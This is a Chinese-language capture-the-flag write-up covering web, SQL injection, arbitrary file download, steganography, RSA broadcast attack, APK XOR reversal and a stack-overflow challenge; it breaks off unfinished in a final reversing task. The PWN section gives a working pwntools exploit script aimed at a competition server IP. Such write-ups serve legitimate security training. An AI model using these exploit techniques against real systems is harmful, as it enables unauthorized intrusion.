第一題Web安全一
在當前頁面下找尋失落的鑰匙。
Address: 當前路徑

base64解碼得flag

flag{7477ec22654f1d27db4ab0136b34076b}
第二題sql注入
標題: 歡迎各位選手積極參賽
日期: 2021-01-16
正文:
通過每關關卡提示內容答題,獲取flag值提交
這道題很有意思,輸入的字符,會將你的ascii-1,比如我輸入1,后端接收到的就是0,我輸入的2,后端接受到的就是1,輸入b,就是a,另外根據字符判斷是數值型注入,sqli-lab第二關



接着就是將payload都先+1再發送即可,寫個腳本處理一下
flag{43e29cd5339013d986325a9c8cca5593}
第三題web3
新生入學通知,每位新錄取學生請填寫好相關的身份證信息提交院系輔導員申請辦理校園銀行卡。
以后的所有學費都打入銀行卡內結算。填寫表格在附件中。
鼠標放到下載附件的時候看到下面的url跳轉

考慮存在任意文件下載漏洞

flag{250A51A2957E66F5C582375C62F28379}
第四題隱寫
打開是一張圖片,jpg文件格式

看了下文件尾並不是FFD9

直接搜索文件尾定位到文件尾

看到圖片尾后有隱寫數據,接着看后面的數據,有點類似Rar!這個文件頭,且3333.jpg很明顯像壓縮包里的內容,考慮修改為rar的文件頭,52617221

使用foremost分離

打開之后報錯且需要密碼

網上找到rar偽加密的相關內容:
RAR 文件的偽加密在文件頭中的位標記字段上,用 010 Editor 可以很清楚的看見這一位,修改這一位可以造成偽加密。

打開以后看到flag

flag{281083381467a8d21e2dc41e3a81e8cd}
第五題密碼學1
不是簡單的morse哦!!!
Address:
點擊下載附件
--.../--.-/--.../--.-/---../-..../---../...../---../--.../--.../--.-/--.../--.-/---../-..../---../...../---../...--/--.../--.-/--.../--.-/---../....-/---../..---/--.../--.-/--.../--.-/---../-..../---../...../---../---../--.../--.-/--.../--.-/---../-..../---../--.../---../---../--.../--.-/--.../--.-/---../-----/---../..---/--.../--.-/--.../--.-/---../-----/---../--.../--.../--.-/--.../--.-/---../-----/---../--.../--.../--.-/--.../--.-/---../-..../---../...../---../--.../--.../--.-/--.../--.-/---../....-/---../....-/--.../--.-/--.../--.-/---../-..../---../...../---../--.../--.../--.-/--.../--.-/---../....-/---../....-/--.../--.-/--.../--.-/---../-----/---../---../--.../--.-/--.../--.-/---../-----/---../...../--.../--.-/--.../--.-/---../....-/---../..---/--.../--.-/--.../--.-/---../-..../---../...../---../--.../--.../--.-/--.../--.-/---../....-/---../..---/--.../--.-/--.../--.-/---../-..../---../...../---../...../--.../--.-/--.../--.-/---../-----/---../.----/--.../--.-/--.../--.-/---../-----/---../.----/--.../--.-/--.../--.-/---../----./---../...--/--.../--.-/--.../--.-/---../-----/---../--.../--.../--.-/--.../--.-/---../-----/---../...../--.../--.-/--.../--.-/---../-----/---../-----/--.../--.-/--.../--.-/---../-----/---../----./--.../--.-/--.../--.-/---../....-/---../....-/--.../--.-/--.../--.-/---../-..../---../...../---../-..../--.../--.-/--.../--.-/---../----./---../....-/--.../--.-/--.../--.-/---../-----/---../..---/--.../--.-/--.../--.-/---../....-/---../....-/--.../--.-/--.../--.-/---../-----/---../-..../--.../--.-/--.../--.-/---../-----/---../-----/--.../--.-/--.../--.-/---../-----/---../...../--.../--.-/--.../--.-/---../-..../---../...../---../...../--.../--.-/--.../--.-/---../-----/---../----./--.../--.-/--.../--.-/---../-----/---../...../--.../--.-/--.../--.-/---../-----/---../..---/--.../--.-/--.../--.-/---../-..../---../--.../---../-----
.和-換一下,得到
..---/..-./..---/..-./...--/.----/...--/-----/...--/..---/..---/..-./..---/..-./...--/.----/...--/-----/...--/---../..---/..-./..---/..-./...--/----./...--/--.../..---/..-./..---/..-./...--/.----/...--/-----/...--/...--/..---/..-./..---/..-./...--/.----/...--/..---/...--/...--/..---/..-./..---/..-./...--/...../...--/--.../..---/..-./..---/..-./...--/...../...--/..---/..---/..-./..---/..-./...--/...../...--/..---/..---/..-./..---/..-./...--/.----/...--/-----/...--/..---/..---/..-./..---/..-./...--/----./...--/----./..---/..-./..---/..-./...--/.----/...--/-----/...--/..---/..---/..-./..---/..-./...--/----./...--/----./..---/..-./..---/..-./...--/...../...--/...--/..---/..-./..---/..-./...--/...../...--/-----/..---/..-./..---/..-./...--/----./...--/--.../..---/..-./..---/..-./...--/.----/...--/-----/...--/..---/..---/..-./..---/..-./...--/----./...--/--.../..---/..-./..---/..-./...--/.----/...--/-----/...--/-----/..---/..-./..---/..-./...--/...../...--/-..../..---/..-./..---/..-./...--/...../...--/-..../..---/..-./..---/..-./...--/....-/...--/---../..---/..-./..---/..-./...--/...../...--/..---/..---/..-./..---/..-./...--/...../...--/-----/..---/..-./..---/..-./...--/...../...--/...../..---/..-./..---/..-./...--/...../...--/....-/..---/..-./..---/..-./...--/----./...--/----./..---/..-./..---/..-./...--/.----/...--/-----/...--/.----/..---/..-./..---/..-./...--/....-/...--/----./..---/..-./..---/..-./...--/...../...--/--.../..---/..-./..---/..-./...--/----./...--/----./..---/..-./..---/..-./...--/...../...--/.----/..---/..-./..---/..-./...--/...../...--/...../..---/..-./..---/..-./...--/...../...--/-----/..---/..-./..---/..-./...--/.----/...--/-----/...--/-----/..---/..-./..---/..-./...--/...../...--/....-/..---/..-./..---/..-./...--/...../...--/-----/..---/..-./..---/..-./...--/...../...--/--.../..---/..-./..---/..-./...--/.----/...--/..---/...--/.....
莫斯解碼得到

2F2F3130322F2F3130382F2F39372F2F3130332F2F3132332F2F35372F2F35322F2F35322F2F3130322F2F39392F2F3130322F2F39392F2F35332F2F35302F2F39372F2F3130322F2F39372F2F3130302F2F35362F2F35362F2F34382F2F35322F2F35302F2F35352F2F35342F2F39392F2F3130312F2F34392F2F35372F2F39392F2F35312F2F35352F2F35302F2F3130302F2F35342F2F35302F2F35372F2F313235
接下來16進制轉ascii,不寫腳本了,直接利用winhex

得到
//102//108//97//103//123//57//52//52//102//99//102//99//53//50//97//102//97//100//56//56//48//52//50//55//54//99//101//49//57//99//51//55//50//100//54//50//57//125
接着轉ascii,就可以得到flag
text = "//102//108//97//103//123//57//52//52//102//99//102//99//53//50//97//102//97//100//56//56//48//52//50//55//54//99//101//49//57//99//51//55//50//100//54//50//57//125" tmp = text.split("//") flag = "" for i in tmp: if(len(i)==0): continue flag+=(chr(int(i))) print(flag)
flag{944fcfc52afad8804276ce19c372d629}
第六題密碼學2
n1 = 15155834512274272214023086908197336756053030242323048048512131680949741780299147739642915275652361208126932446440351058891478042858367410383038003646724877904586542918017377162655592508460664015520802259851733191541675998796977690625295282942487921358909287151891024014877346470774030618403239619473160116278194168652577809272534421739253899557104677104226574616639904574493424733183128587308159599813172995669302313437832700325084051476508569976017575025882273798141537465703201611158966576900748339845393511942859359762627565239827436817587889028229629219758444364576775816395068895690818282079757217830310515978127
c1 = 5494450691753612919737853915132855834096765605332015454640361032239132922012580874164314559884231834880509275803308491515200542216921855164502433282605157652587467862927015599896098323188736626786240688376765596607692289464553811726988171583144094764228322352598666387363126670431878708836399453243810268550215586416145954491987218058298118856157943192348712211081966817634248749541495202512318939478632136696161770495966945450638932386439853171097951854773848427327967005395447258238907517328462920672983843546368459675108565386048378949489538739601026072001299388754859205758045323903197238347844028607154218472306
n2 = 18842210020214893447278433763859917441673856882600914930106127408785094682894162560294377942902234973017097657819902883509747214618845368773090881368216216746436442141249517379544322252470231735357590551576267935271044692518720989544809387378449867873587634822735041718725775776009414593903385600936076275031894097065886553873609364053567942574441788746500339227794273331961537553598880986317346041994268899775773299522416638100324889325019104983092439964265139187515608224052770912315103299888397137605504388974375829966791573157027563210824142575469275327561579105886925938874788629638257034860660599571368175798461
c2 = 15910997684628836933496607822222338379406645512019432640918604219624447480532985768023714301290983608350871071716130518274600127858844679179194328069454410794891098307126961755968252512736349726488491987677072080227591095987989240857878550269813251096259256898342134501777151894253304947523375168108765477110299014857498094854675908649091364944658844775926024330884901188084046387555453089293651895591930508974990924414046626876421817769164530689640853992733514311151493031551639303253742905571602694843664756463426780635078828796848976379807092185402676057091126978898094714606653991907268150256457170921178656805579
n3 = 22226464873913386757133247086672623015441322463594301399173110257747012438384755298599579275470179177267971599252692901999457999425708376414098507189061197532848474420980635398317992526058501486595817545466391929028016230234872629151008606442578311078760628628631854292548829892677873370666324611373525794396390196365594857629571891566579209515557229327990901478393972604155740157773509050015850902188908735565008972678769316888808907105766444447172006423589415974903633898473609776222316128128663502376892785333075688374577344783477685782127745369509949692261461972928113463408930650442450649560710973027693882523477
c3 = 21108131787225755203618640254567084615589153124310726690274308424429723230473335893868276636623072829331045475826942731683413524092293553789570482144460927939891748979823308554622500275336062194855532746429393810887923652148687071388960360136186955257847070345952553820737048718319036485708755833021599297940989696082994353661789743040224669874599312843912069146579704045641485314755494706946042797137677502973218481668477064622319845680167436672625659231570816551826036490125795302674890570995611318268338711707381729921002213050069264691953697777498361151710349062417390509298962684853952003380381791557565960351045
(e1=e2=e3)
給個三組n和c,沒給e,推測e較小,可以爆破,且存在低加密指數廣播攻擊:
使用相同的加密指數 e 加密相同的信息,發送給多於e個不同的人,可能受到低加密指數廣播攻擊
設e=3,假設n1、n2、n3互素,否則可計算最大公約數直接得到p、q,由於n1、n2、n3互素,由中國剩余定理可求得m^e

flag{7189cb408174df02ebeae57c4d3ac0e0}
第七題APK
主函數調用check_flag檢查輸入的flag和生成的flag是否相等

檢查邏輯如下:

經典的異或,寫一個解密腳本
flag = ['2', '6', '7', '6', '=', '>', 'C', 'J', ':', '2', ':', '<', 'L', 'H', 'I', '\'', '%', ' ', '#', '!', 'V', '\'', 'R', ')', '.', '#', '+', 'Z', '$', 'Z', ',', '\u0013'] idx = 0 for i in flage: idx+=1 print(chr(ord(i)^idx),end="")
flag{344288DB3810AFF74205C1E1790F9D33}
第八題PWN
IP:47.100.67.189, 端口18002
Address:
點擊下載附件
經典棧溢出
from pwn import * context.log_level = 'debug' # io = process('./pwn3') io = remote('47.100.67.189','18002') io.sendlineafter("please input your lucky number:","200") io.sendlineafter("please input your lucky number2:","-180") addr = 0x09E0 # payload = 0x68 * b"a" + p64(addr) payload = 0x68 * b"a" + b'\xE0' + b'\x59' # gdb.attach(io) io.sendafter("please input your lucky strings:",payload) io.interactive()
flag{abe794ad437f96763e68cee0c3cfcc83}
查看主函數

sub_401680要為真就輸入flag,看下函數調用

直接進入sub_403820

接下來sub_401E90

先不接着分析了,改天再更,跑步去了。。。。。。。。。